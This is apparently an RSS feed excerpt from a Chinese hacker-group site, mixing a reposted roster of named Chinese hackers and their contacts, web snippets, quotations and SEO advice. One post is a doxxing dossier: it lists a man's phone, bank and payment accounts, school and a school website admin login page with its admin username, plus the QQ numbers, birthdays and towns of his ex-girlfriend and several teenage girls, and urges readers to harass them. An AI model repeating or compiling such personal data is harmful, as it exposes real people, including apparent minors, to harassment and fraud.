吾爱破解的BOSS。是程序破解 ，软件破解，加密解密，逆向工程方 面的高手。破解过很多大家常用的工 具，如穿山甲。

xi4oyu

博客:http://www.pentestday.co m/ &amp; http://hi.baidu.com/xi4oyu

微博:http://t.qq.com/evil_xi4oyu

qq:909473606

linux方面的高手。

猪猪

QQ:82648 &amp; 100298

岁月联盟站长。入行也有几年了 。曾经参加过爱国反击黑客战。也入 侵过不少圈内的同行网站。对ASP， 注入方面比较了解。现在晚上摄影了 。

rayh4c

qq:30039780

博客:http://hi.baidu.com/rayh4c

微博:http://t.qq.com/rayh4c

茄子宝。80SEC核心成员。对xs s，CSRF等脚本漏洞非常精通。经验 丰富。

superhei

QQ:123230273

微博:http://t.qq.com/hi_heige

幻影旅团核心成员。曾经写过著 名的php注入漏洞利用工具。发现过 很多国内流行的php程序漏洞。是WE B脚本，数据库方面的专家。

ring04h

QQ:153520368

博客:http://hi.baidu.com/ring04h

EST核心成员。与国内顶级黑客 sunwear关系甚好。曾一同入侵过国 内最著名的两大PHP论坛。此人对ph p，数据库等方面相当精通。

冰血封情

QQ:310926

博客:http://weblog.eviloctal.com/

EST创始人。传说中的中国第四 代黑客。据传说已经自己开公司，很 久不做技术了。

冰的原点

QQ:519249638

博客:http://hi.baidu.com/%B1%F9 %B5%C4%D4%AD%B5%E3

微博:http://t.qq.com/icezone

黑客手册常见的人。是入门级黑 客书籍《黑客渗透笔记》的原作者。 对于初学者来说还是有一定学习价值 的。

friddy

博客:http://www.friddy.cn

QQ:568623

专门搞漏洞挖掘的人，虽然技术 上跟最上面的那些大牛级黑客比差一 些，但相对来说还是不错的。另外也 对入侵检测有所研究。

余弦

qq:331861985

微博:http://t.qq.com/evilcos

xeye成员。目前就职于icbm的知 道创宇公司，是web，脚本等方面的 高手。

教主

QQ:130138438

网站:www.jiaozhu.org

圈内名气还算比较大的，主要还 是因为他刷库赚钱很多。并且赔的也 比较快。呵呵。技术不怎么样，但很 能买很能卖。

剑心

QQ:369458956

微博:http://t.qq.com/nullnull

方小顿。80sec站长。目前就职 于百度公司，曾经跟百度公司老板李 彦宏一起参加过芒果台的娱乐节目， 一曲成名。不久前因为发布nginx的 漏洞而又一次成名，是WEB安全，应 用安全方面的高手。

陆羽

QQ:170093007

微博:http://t.qq.com/T00ls_Luyu

博客:http://www.5luyu.cn

t00ls核心成员，曾经编写过不 少注入，旁注方面的辅助入侵工具， 例如t00ls内部旁注工具，GETWEBSH ELL等等。目前就职于奇虎360公司 。

爱无言

QQ:348450419

EST核心成员。对于漏洞挖掘， 溢出利用，网络脚本安全方面有着多 年经验。在国内著名黑客杂志黑客防 线上发表过上百篇的文章。

樱花浪子

QQ:305446947

博客:http://www.hacklu.net/

SQL注入，WEB应用渗透技术还 行。在一些黑客杂志上有过一些技术 类文章。

h4k_b4n

QQ:616222

微博:http://t.qq.com/h4k_b4n

BCT核心成员。是WEB安全，脚 本，数据库安全方面的高手，曾经发 现过很多著名程序的漏洞。

pt007

QQ:7491805

彭涛。就职于国内著名信息安全 公司，启明星辰。是ISTO的创始人。 对oracle,mysql等数据库已经php等脚 本非常精通。有多年的开发维护测试 等安全经验。著名的xp/2k/2k3完美 克隆用户的程序就是他的杰作。

majun

QQ:45539511

马俊。据说是个很能装的人。不 过还是有点技术，另外还传说他是su nwear的徒弟。可能得到的真传0day 有不少。那入侵网站就如鱼得水了。

shadow

QQ:26727179

博客:http://hi.baidu.com/p3rlish

影子。渗透高手。perl等脚本方 面的高手。

xiaomi

QQ:5980740

小米。T00ls的创始人之一。人 缘还是不错的。

cnbird

QQ:441303228

博客:http://blog.csdn.net/cnbird 2008

微博:http://t.qq.com/cnbird2008

如果大家经常看国内的黑客杂志 肯定对这个不陌生。linux,windows全 方面的渗透高手。有一定的入侵经验 。

hackest

QQ:297521327

博客:http://www.hackest.cn/

微博:http://t.qq.com/hackest

也是搞入侵渗透的。不久前一直 在卖LMHASH,MD5的彩虹表。

惘然

博客:http://www.wangran.net/

搞渗透的

4ngel

博客:http://www.sablog.net/blog/

sablog的作者。著名的安全天使 站长，现在广为流行的几个WEBSHEL L都是他写的，有些是从他大代码上 改的。对WEBSHELL行业有着不可磨 灭的贡献，也是早期很多PHP程序漏 洞的发现者。

xhacker

QQ:66680800

小叮当。据说当年入侵过绿盟， 也是混迹于黑客圈很久的人了。搞渗 透不错。

冷漠

QQ:386817

博客:fhodhttp://www.lengmo.net/

红狼联盟的创始人。目前好像跟 着某前辈黑客做事。

fhod

QQ:1988415

博客:http://0day.kr/

目前好像跟着EST的老大打工。 在渗透入侵方面也是有一定经验的， 曾经写过一些文章。后来还因为黑站 被抓。

冰sugar

博客:http://sebug.cn/

朱巨源。写过入门级的文章。在 X档案有过投稿。也写过书《黑客攻 防实战入门》。对一般的渗透技术有 一定了解。

虫子

QQ:712663200

博客:http://evilh4ck.blog.sohu.c om/

虫总据说是入侵过不少游戏官方 网站。看来应该赚了些钱。此人对入 侵攻击还是有很多了解的。

amxking

博客:http://amxking.bokee.com

QQ:5711277

红狼的核心成员，也是天阳的管 理。

七剑

QQ:7259561

博客:http://1v1.name

微博:http://t.qq.com/qijian

搞WEB脚本，数据库，渗透攻击 的。

啊D

QQ:9269563

网站:http://www.d99net.net/

入行时间不短了，写过一些比较 出名的工具，如早期的啊D网络工具 包和后来的啊D注入工具。从这些可 以看出对注入，编程是有一定了解的 。经验比较丰富，工具虽然有BUG但 还算稳定。

雨夜

QQ:9148357

博客:http://hi.baidu.com/kr4t

混迹黑客全也有数年。技术凑合 。曾经也开办过黑客网站。

redbin

QQ:35475

网站:http://www.vip8.org/

红滨。校园黑客联盟站长。

原文链接:http://blog.csdn.net/it castcpp/article/details/37436593
]]></description>
    </item>
        <item>
        <title><![CDATA[【邪影网安组社工行动】对江山如画组织的社工行动]]></title>
		<link><![CDATA[https://xieying.wodemo.com/entry/358767]]></link>
		<dc:creator><![CDATA[邪影网安组-组长 (@xuelanggx)]]></dc:creator>
		<pubDate><![CDATA[Tue, 22 Sep 2015 20:32:40 +0800]]></pubDate>
        <description><![CDATA[【邪影】【邪影网安组社工行动】
垃圾江山如画团长小谢资料
【邪影网安组】组长QQ2296888307

此人诈骗400元人民币，有图有证，本屌已经像山西河津公安局汇报 ，
网络诈骗2000立案，400块至于怎么处理我就不知道了




再此过程中  他有个现实中的朋友   他说他缺男的 还是个社会姐，这女的欠插 非要红一把。



外号：光光
性别：女
地址：山西运城河津 （和谢育泽是一伙的 估计是个炮友）
手机号：15296789560 最后一位自己猜  目测是真的
QQ：2546024360


没事的可以去骂他泄气 

无聊的可以去骚扰他

寂寞的可以泡泡他 

全能社会姐，什么活都会。


邪影网安组   组长QQ2296888307欢迎各位装逼人事前来讨论技术


姓名：谢育泽
性别：男
地址：山西运城河津运城河津 龙门购物广场
QQ：2524157364
支付宝账号：2524157364@qq.com  谢育泽
农业银行：6228****48370296978 谢育泽
财付通：2524157364 谢育泽
电话: 13934893837 移动全球通卡
垃圾卡盟地址：www.jianghuakm.com  是个跳转  垃圾香港空间 用c都能秒死他 一点压力都没有
域名注册点：万网
注册人：郭江
注册账号：535980352@qq.com
这个人也是他的卡盟上级

2013年的学校：河津三中 
这傻逼以前当过班长
学校网站：www.hj3z.com
学校网站后台：http://www.hj3z.com/Admin/Admin_Login.asp
学校网站后台账号：admin 密码不公布 你懂的
学校地址：山西省 河津市 铝厂(希望街)
邮政编码：043300　 
学校联系电话：0359-5375275 

2013年的女朋友：徐亚如
QQ：1437212031
年龄：18
生日：2月4日
属性：鼠
星座：水瓶
地址：河南商丘
学校：华侨良浩高级中学

朋友：郝瑞霞
性别：女
QQ：1509225527
地址：山西省 河津市
生日：12月23日
属性：虎
星座：摩羯座
血型：A

朋友：任鑫
性别：女
QQ：1351571429
地址：山西省河津市
年龄：女
生日：3月23日
属性：虎
星座：白羊座


朋友：佳璇
性别：女
年龄：17
生日：8月17日
星座：狮子座
地址：中国 山西 运城
QQ：861325398
偶像：杨幂
喜欢玩QQ炫舞

朋友：冯雅婷
性别：女
年龄：17
生日：12月16日
星座：射手座
老家：中国 山西 临汾
血型：B
她空间有些现实中的照片
QQ：1149739217

邪影官网http://xieying.wodemo.com]]></description>
    </item>
        <item>
        <title><![CDATA[邪影网安组联系方式]]></title>
		<link><![CDATA[https://xieying.wodemo.com/entry/358721]]></link>
		<dc:creator><![CDATA[邪影网安组-组长 (@xuelanggx)]]></dc:creator>
		<pubDate><![CDATA[Tue, 22 Sep 2015 14:09:42 +0800]]></pubDate>
        <description><![CDATA[邪影网安组

组长雪狼QQ2296888307

官网：http://xieying.wodemo.com]]></description>
    </item>
        <item>
        <title><![CDATA[【邪影搜集】名人经典语句＿邪影搜集]]></title>
		<link><![CDATA[https://xieying.wodemo.com/entry/358710]]></link>
		<dc:creator><![CDATA[邪影网安组-组长 (@xuelanggx)]]></dc:creator>
		<pubDate><![CDATA[Tue, 22 Sep 2015 12:31:12 +0800]]></pubDate>
        <description><![CDATA[【邪影网安组全网收人】邪影网安组组长QQ2296888307 邪影官网：http://xieying.wodemo.com
1．神要是公然去跟人作对，那是任何人都难以对付的。 (《荷马史诗》)


2．生存还是毁灭，这是一个值得思考的问题。 (莎士比亚《哈姆雷特》)


3．善良人在追求中纵然迷惘，却终将意识到有一条正途。(歌德《浮士德》)


4．认识自己的无知是认识世界的最可靠的方法。 (蒙田《随笔集》)


5．你以为我贫穷、相貌平平就没有感情吗?我向你发誓，如果上帝赋予我财富和美貌，我会让你无法离开我，就像我现在无法离开你一样。虽然上帝没有这么做，可我们在精神上依然是平等的。(夏洛蒂·勃朗特《简·爱》)


6．大人都学坏了，上帝正考验他们呢，你还没有受考验，你应当照着孩子的想法生活。 (高尔基《童年》)


7，你越没有心肝，就越高升得快，你毫不留情地打击人家，人家就怕你。只能把男男女女当作驿马，把它们骑得筋疲力尽，到了站上丢下来，这样你就能达到欲望的最高峰。 (巴尔扎克《高老头》)


8．我只想证明一件事，就是，那时魔鬼引诱我，后来又告诉我，说我没有权利走那条路，因为我不过是个虱子，和所有其余的人一样。 (陀思妥耶夫斯基《罪与罚》)


9．你瞧，桑丘·潘沙朋友，那边出现了三十多个大得出奇的巨人。 (塞万提斯《堂·吉诃德》)


10．我并不愿意你受的苦比我受的还大，希斯克利夫。我只愿我们永远不分离：如果我有一句话使你今后难过，想想我在地下也感到一样的难过，看在我自己的份上，饶恕我吧! (艾米莉·勃朗特《呼啸山庄》)


11．幸福的家庭是相同的，不幸的家庭各有各的不同。 (列夫·托尔斯泰《安娜·卡列尼娜》)


12．唉，奴隶般的意大利，你哀痛之逆旅，你这暴风雨中没有舵手的孤舟，你不再是各省的主妇，而是妓院! (但丁《神曲》)


13．将感情埋藏得太深有时是件坏事。如果一个女人掩饰了对自己所爱的男子的感情，她也许就失去了得到他的机会。 (简·奥斯丁《傲慢与偏见》)


14．钟声又鸣响了……一声又一声，静谧而安详，即使在女人做新娘的那个好月份里，钟声里也总带有秋天的味道。 (威廉·福克纳《喧嚣与骚动》)


15．一个人并不是生来要被打败的，你尽可以把他消灭掉，可就是打不败他。 (海明威《老人与海》)


16．当然，行是行的，这固然很好，可是千万别闹出什么乱子来啊。 (契诃夫《套中人》)


17．面包!面包!我们要面包! (左拉《萌芽》)


18．我从没有爱过这世界，它对我也一样。 (拜伦《拜伦诗选》)


19．爱情应该给人一种自由感，而不是囚禁感。 (劳伦斯《儿子与情人》)


20．暴风雨将要在那一天，甚至把一些槲树吹倒，一些教堂的高塔要倒塌，一些宫殿也将要动摇! (海涅《海涅诗选》)


21．自己的行为最惹人耻笑的人，却永远是最先去说别人坏话的人。 (莫里哀《伪君子》)


22．这时一种精神上的感慨油然而生，认为人生是由啜泣、抽噎和微笑组成的，而抽噎占了其中绝大部分。(欧·亨利《欧·亨利短篇小说选》)


23．历史喜爱英勇豪迈的事迹，同时也谴责这种事迹所造成的后果。 (儒尔·凡尔纳《神秘岛》)


24．整个下半天，人都听凭羊脂球去思索。不过本来一直称呼她作“夫人”，现在却简单地称呼她作“小姐”了，谁也不很知道这是为着什么，仿佛她从前在评价当中爬到了某种地位，现在呢，人都想把她从那种地位拉下一级似的，使她明白自己的地位是可羞的。 (《莫泊桑短篇小说选》)


25．如果冬天来了，春天还会远吗? (《雪莱诗选》)

26．我明白了，我已经找到了存在的答案，我恶心的答案，我整个生命的答案。其实，我所理解的一切事物都可以归结为荒诞这个根本的东西。(萨特《恶心》)

27．世界上有这样一些幸福的人，他们把自己的痛苦化作他人的幸福，他们挥泪埋葬了自己在尘世间的希望，它却变成了种子，长出鲜花和香膏，为孤苦伶仃的苦命人医治创伤。(斯托夫人《汤姆叔叔的小屋》)

28．当格里高·萨姆莎从烦躁不安的梦中醒来时，发现他在床上变成了一个巨大的跳蚤。(卡夫卡《变形记》)

29．当现实折过来严丝合缝地贴在我们长期的梦想上时，它盖住了梦想，与它混为一体，如同两个同样的图形重叠起来合而为一一样。(普鲁斯特《追忆似水年华》)

30．人与人之间，最可痛心的事莫过于在你认为理应获得善意和友谊的地方，却遭受了烦扰和损害。(拉伯雷《巨人传》)

31．现在我说的您要特别注意听：在别人心中存在的人，就是这个人的灵魂。这才是您本身，才是您的意识在一生当中赖以呼吸、营养以至陶醉的东西，这也就是您的灵魂、您的不朽和存在于别人身上的您的生命。(帕斯捷尔纳克《日瓦戈医生》)

32．美德犹如名香，经燃烧或压榨而其香愈烈，盖幸运最能显露恶德而厄运最能显露美德。(《培根论说文集》)

33．亲爱的艾妮斯，我出国，为了爱你，我留在国外，为了爱你，我回国，也是为了爱你!(狄更斯《大卫·科波菲尔》)

34．强迫经常使热恋的人更加铁心，而从来不能叫他们回心转意。(席勒《阴谋与爱情》)

35．在各种事物的常理中，爱情是无法改变和阻挡的，因为就本性而言，爱只会自行消亡，任何计谋都难以使它逆转。(薄伽丘《十日谈》) 

36、只要你是天鹅蛋就是生在养鸡场也没什么关系。（安徒生《安徒生童话》）

37、就投机钻营来说，世故的价值永远是无法比拟的。（果戈理《死魂灵》）

38、誰都可能出个错儿，你在一件事上越琢磨得多就越容易出错。（《好兵帅克历险记》）

39、我们经历着生活中突然降临的一切，毫无防备，就像演员进入初排。如果生活中的第一次彩排便是生活的本身 ，那生活有什么价值呢？（米兰·昆德拉《生命中不能承受之轻》）

40、他发现了人类行为的一大法则，自己还不知道……那就是，为了要使一个大人或小孩极想干某样事情，只需要设法把那件事情弄得不易到手就行了。（马克·吐温《汤姆·索亚历险记》）

41、对于有信仰的人，死是永生之门。（弥尔顿《失乐园》）

42、有一个传说，说的是有那么一只鸟儿，它一生只唱一次，那歌声比世上一切生灵的歌声都更加优美动听。（考琳·麦卡洛《荆棘鸟》）

43、离开一辈子后，他又回到了自己出生的那片土地上，从小到大，他一直是那个地方的目击者。（乔伊斯《尤利西斯》）

44、同上帝保持联系是一码事，他们都赞同这一点，但让上帝一天二十四小时都待在身边就是另一码事了。（赫勒《第二十二条军规》）

45、在甜蜜的梦乡里，人人都是平等的，但是当太阳升起，生存的斗争重新开始时，人与人之间又是多么的不平等。（阿斯图里亚斯《总统先生》）

46、开发人类智力的矿藏是少不了要由患难来促成的。（大仲马《基度山伯爵》）

47、离你越近的地方，路途越远；最简单的音调，需要最艰苦的练习。（《泰戈尔诗选》）

48、悲伤使人格外敏锐。(罗曼·罗兰《约翰·克里斯朵夫》)

49、她睁大一双绝望的眼睛，观看她生活的寂寞。她像沉了船的水手一样，在雾蒙蒙的天边，遥遥寻找白帆的踪影。(福楼拜《包法利夫人》) 

50、我听见美洲在歌唱，我听见各种不同的颂歌。(惠特曼《草叶集》) 
]]></description>
    </item>
        <item>
        <title><![CDATA[【邪影建站经验】SEO策略之选择虚拟主机及对SEO的影响【邪影网安组搜集】]]></title>
		<link><![CDATA[https://xieying.wodemo.com/entry/358708]]></link>
		<dc:creator><![CDATA[邪影网安组-组长 (@xuelanggx)]]></dc:creator>
		<pubDate><![CDATA[Tue, 22 Sep 2015 11:08:02 +0800]]></pubDate>
        <description><![CDATA[
【邪影建站经验】SEO策略之选择虚拟主机及对SEO的影响 









           

【邪影建站经验】SEO策略之选择虚拟主机及对SEO的影响【邪影网安组搜集】

请勿抄袭本页面
孟母三迁，只求一个好的教育环境。点水认为环境在大概率事件上直接决定了一个人的成就与一生。而虚拟主机就是网站的环境。环境好坏，能直接影响网站的发展。之前曾写过域名与网站SEO的影响，今天将继续接上一篇讨论选择虚拟主机与SEO的关系。
一，什么是虚拟主机
简单点说就是存放网站内容的空间。能够存放网站建设所需要的文档，图片，数据等等。
二，虚拟主机的分类
1，存储空间大小分类
狭义的主机根据空间大小可以分为：独立服务器，VPS，虚拟主机三大类。
2，空间地点进行分类
按空间存放地点可以分为国内主机与海外主机。当然海外主机可以根据国别不同细分为各国的主机，如美国主机，韩国主机。国内主机也分为内地主机，香港 主机，台湾主机。在目前阶段，国内主机是必需通过工信部备案才能上线。国外主机则不用。但是国外主机相比国内主机则有一定先天弱势，主要表现在访问速度和 稳定性上。对于想长远发展的网站，点水是提倡先备案的。
3，按收费性质分类
按收费与否进行分类可以分为：免费主机与收费主机。免费主机曾是很多站长成长的摇篮，不过有一句话是天下没有免费的午餐。想吃免费午餐的人自然也得同时承担风险。目前来说国内并没有优质的免费主机。正规做网站的同学们是不建议节约这一点空间钱的。
三，虚拟主机与SEO
1，主机的稳定性
主机是否会时常无法访问，经常死机等都会严重影响用户体验以及阻碍搜索引擎的抓取过程。长期不稳定的网站，也很难有稳定的排名。
2，主机访问速度
访问网站的响应速度不仅仅直接影响用户心情，也会影响搜索引擎的收录。特别是对于大中型网站来说，快速的网站访问速度是必需要保证的。
3，IP牵连
如果使用独立的服务器通常会对应一个唯一的IP，独立的IP不会受其它IP的影响。但是如果你是使用VPS或虚拟主机，而同服务器上存在大量的垃圾 站点被搜索引擎降权或惩罚的话，会面临整个服务器上的所有网站都被牵连的危险。不过这样的情况发生的概率并不大。但这也足以让谨慎的站长们有足够的理由去 追求独立IP的网站了。
4，伪静态支持
现在大多数程序都会考虑URL重写或对URL进行伪静态，所以大家在选择空间主机的时候一定要先了解是否能够很方便的支持和设置你对应的程序的伪静态规则。也就是是否有安装mod_rewrite模块。
四，如何选购主机
1，选择正规的IDC运营商
确认是否为正规注册的IDC运营公司，注册资本多少。确认其是否具有工信部审批的域名idc服务资格。另外可以了解公司背景，规模，历史等。当然也不排除实力强大的IDC公司倒闭，比如09年的原始人网络。但风险相对较小
2，是否为顶部域名注册商
通常顶级域名注册商都是有一定综合实力的公司。随着监管部门更加严格与行业竞争的加大等诸多因素，国内很多中小型IDC商家纷纷面临倒闭的危险，如果把网站托管在一家小公司那，加上现在很多空间一级代理商二级代理的出现，真得天天捏把汗。
3，优先选择本地空间商
本地空间商有一定的地理优势，万一服务器或什么地方出问题，可以直接亲自上门去保存数据或解决问题。如果是外地的空间商那只能坐等了。
4，选择品牌空间商
就像买衣服要看牌子一样，买空间选好牌子肯定也没错，国内比较知名的空间商是万网，新网之类，但是价格相对较贵，适合有钱的主，但是一分钱一分货。便宜一点的有华夏，西部，第一主机等，适合中产阶级，好了，我不继续免费给人广告了。
5，相信一分钱一分货
如果两家差不多的公司提供的两款服务为：A公司：100元100M空间&nbsp; B公司：100元1G空间。如果你对空间大小不是特别要求的话建议买100M要100元的空间，没其它原因，一分钱一分货。
文章来源于点水集，原文地址：http://www.dianshui.net/seo/celue/26.html本文转自点水集







]]></description>
    </item>
        <item>
        <title><![CDATA[【邪影网页代码转载】天气代码【邪影转载】]]></title>
		<link><![CDATA[https://xieying.wodemo.com/entry/358704]]></link>
		<dc:creator><![CDATA[邪影网安组-组长 (@xuelanggx)]]></dc:creator>
		<pubDate><![CDATA[Tue, 22 Sep 2015 10:28:04 +0800]]></pubDate>
        <description><![CDATA[











            

页-码
2013-06-22 16:16:27  0800

【邪影搜集】★网页天气代码★

请勿抄袭本页面



html代码



JavaScript码

document.write('');
代码演示
[代码仅供参考，不复制请留言]
 
    



(adsbygoogle = window.adsbygoogle || []).push({});



#website{
text-align:center;
/*导航内居中对齐*/
line-height:1.5em;
/*导航行高*/
}
#website a{
color:brown;
/*导航链接的文字颜色*/
border:1px solid green;
/*导航链接的文字边框*/
border-radius:8px;
-webkit-border-radius:8px;
-moz-border-radius:8px;
/*导航链接的圆角弧度*/
padding:3px 4px;
/*导航链接的内边距*/
margin:3px 5px;
/*导航链接的外边距*/
display:inline-block;
/*导航链接为行内块*/
width:40%;
/*导航链接的宽度*/
}


 飞龙之家
飞雪收藏站²º¹³
工藤新一软件站
笑忘书代码站
樱云人界
moge
chen(管理员)
ju花点穴手 
 

#whole_body{
transition:background-color 3s linear;-o-transition:background-color 3s linear;-webkit-transition:background-color 3s linear; -moz-transition:background-color 3s linear;
/*背景色改变所需时间*/
}
 


 
 

    var caution = false
    function setCookie(name, value, expires, path, domain, secure) {
    var curCookie = name + "=" + escape(value) +
    ((expires) ? "; expires=" + expires.toGMTString() : "") +
    ((path) ? "; path=" + path : "") +
    ((domain) ? "; domain=" + domain : "") +
    ((secure) ? "; secure" : "")
    if (!caution || (name + "=" + escape(value)).length  0)
    date.setTime(date.getTime() - skew)
    }
    var now = new Date()
    fixDate(now)
    now.setTime(now.getTime() + 365 * 24 * 60 * 60 * 1000)
    var visits = getCookie("counter")
    if (!visits)
    visits = 1
    else
    visits = parseInt(visits) + 1
    setCookie("counter", visits, now)
    document.write("您第 " + visits + " 次访问本站了!");
友情推荐站长江湖冒泡网站代码教程笑忘书言虎绿林网忘鼎先锋暂未添加梦幻辰风流离染指小叶工具艾黎导航冰冰影视




]]></description>
    </item>
        <item>
        <title><![CDATA[链接提交]]></title>
		<link><![CDATA[https://xieying.wodemo.com/entry/358681]]></link>
		<dc:creator><![CDATA[邪影网安组-组长 (@xuelanggx)]]></dc:creator>
		<pubDate><![CDATA[Mon, 21 Sep 2015 22:54:16 +0800]]></pubDate>
        <description><![CDATA[http://xieying.wodemo.com
http://xieying.wodemo.com
http://xieying.wodemo.com
http://xieying.wodemo.com
http://xieying.wodemo.com
http://xieying.wodemo.com
http://xieying.wodemo.com
http://xieying.wodemo.com
http://xieying.wodemo.com
http://xieying.wodemo.com
http://xieying.wodemo.com
http://xieying.wodemo.com
http://xieying.wodemo.com
http://xieying.wodemo.com
http://xieying.wodemo.com
http://xieying.wodemo.com
http://xieying.wodemo.com
http://xieying.wodemo.com
http://xieying.wodemo.com
http://xieying.wodemo.com]]></description>
    </item>
        <item>
        <title><![CDATA[CSS透明导航链接代码]]></title>
		<link><![CDATA[https://xieying.wodemo.com/entry/358672]]></link>
		<dc:creator><![CDATA[邪影网安组-组长 (@xuelanggx)]]></dc:creator>
		<pubDate><![CDATA[Mon, 21 Sep 2015 22:03:52 +0800]]></pubDate>
        <description><![CDATA[
【邪影搜集】【CSS透明导航代码】[代码]CSS透明导航链接代码【邪影网安组】









            

首页
 
★CSS透明导航链接代码(两列对齐/我的磨友链版)★

请勿抄袭本页面


代码说明
设置了链接宽度(width:40%)，这样导航链接就排成左右对齐的两列，美观简洁，方便查找。适合用来作为友链。本代码由邪影 编写

使用方法及注意事项使用前请先阅读本内容
添加链接请按格式: &lt;a href="网站地址" target="_blank"&gt;网站名称&lt;/a&gt; 其中target="_blank"设置了链接在新窗口打开，不需要的可以删去html代码
&lt;style&gt;
#website{
text-align:center;
/*导航内居中对齐*/
line-height:1.5em;
/*导航行高*/
}
#website a{
color:brown;
/*导航链接的文字颜色*/
border:1px solid green;
/*导航链接的文字边框*/
border-radius:8px;
-webkit-border-radius:8px;
-moz-border-radius:8px;
/*导航链接的圆角弧度*/
padding:3px 4px;
/*导航链接的内边距*/
margin:3px 5px;
/*导航链接的外边距*/
display:inline-block;
/*导航链接为行内块*/
width:40%;
/*导航链接的宽度*/
}
&lt;/style&gt;
&lt;div id="website"&gt;
 &lt;a href="http://891622172.wodemo.com" target="_blank"&gt;飞龙之家&lt;/a&gt;
&lt;a href="http://feixue.wodemo.com" target="_blank"&gt;飞雪收藏站²º¹³&lt;/a&gt;
&lt;a href="http://gtxy.wodemo.com" target="_blank"&gt;工藤新一软件站&lt;/a&gt;
&lt;a href="http://35230.wodemo.com" target="_blank"&gt;笑忘书代码站&lt;/a&gt;
&lt;a href="http://yingyun.wodemo.com" target="_blank"&gt;樱云人界&lt;/a&gt;
&lt;a href="http://moge.wodemo.com" target="_blank"&gt;moge&lt;/a&gt;
&lt;a href="http://chen.wodemo.com" target="_blank"&gt;chen(管理员)&lt;/a&gt;
&lt;a href="http://lyq.wodemo.com" target="_blank"&gt;ju花点穴手&lt;/a&gt; 
&lt;/div&gt; 

代码演示
#website{
text-align:center;
line-height:1.5em;
}
#website a{
color:brown;
border:1px solid green;
border-radius:8px;
-webkit-border-radius:8px;
-moz-border-radius:8px;
padding:3px 4px;
margin:3px 5px;
display:inline-block;
width:40%;
}


 飞龙之家
飞雪收藏站²º¹³
工藤新一软件站
笑忘书代码站
樱云人界
moge 
chen(管理员)
ju花点穴手 
[代码仅供参考，转载请注明出处]

----评论(14)----liuyue (@liuyue) 于 2014-11-03 19:47:借用了 感谢辉少 (@fktk) 于 2014-06-12 00:11:每行3个会更好笑忘书 (@35230) 于 2014-03-15 19:16:如果你想每一行都对齐的话最好控制下字数，不要加太多内容，不在意这个的话不控制也无所谓幻龙 (@fhl) 于 2014-03-15 17:23:貌似不用控制……翱翔的雄鹰 (@axdxy) 于 2014-03-15 17:23:我要用来换一下友链的样式啦，不过得控制字数吧……幻龙 (@fhl) 于 2014-03-15 09:28:嗯，谢谢忘书指点！笑忘书 (@35230) 于 2014-03-15 09:14:@幻龙，你应该把代码全部搬进去，看了你只用了CSS部分，而且选择器不对幻龙 (@fhl) 于 2014-03-15 07:59:吼吼……和CSS冲突……不过感觉蛮好的嘿嘿，，意外收获……http://fhl.wodemo.com/entry/269991幻龙 (@fhl) 于 2014-03-15 07:54:嗯嗯ヾ明月 醉 淸風 (@1223302216) 于 2014-03-15 06:40:嗯笑忘书 (@35230) 于 2014-03-14 22:10:其实在不少导航网站也看到类似的样式，觉得挺清新的就自己写了个，毕竟样式还算比较简单…ヾ明月 醉 淸風 (@1223302216) 于 2014-03-14 22:04:跟俺滴有点像~\(≧▽≦)/~笑忘书 (@35230) 于 2014-03-14 22:00:刚换了友链的排版，顺便分享了代码翱翔的雄鹰 (@axdxy) 于 2014-03-14 21:51:这个不错发表评论:署名:


最新
| 订阅
| 注册
| 登录


|
English


| N








]]></description>
    </item>
    </channel>
</rss>
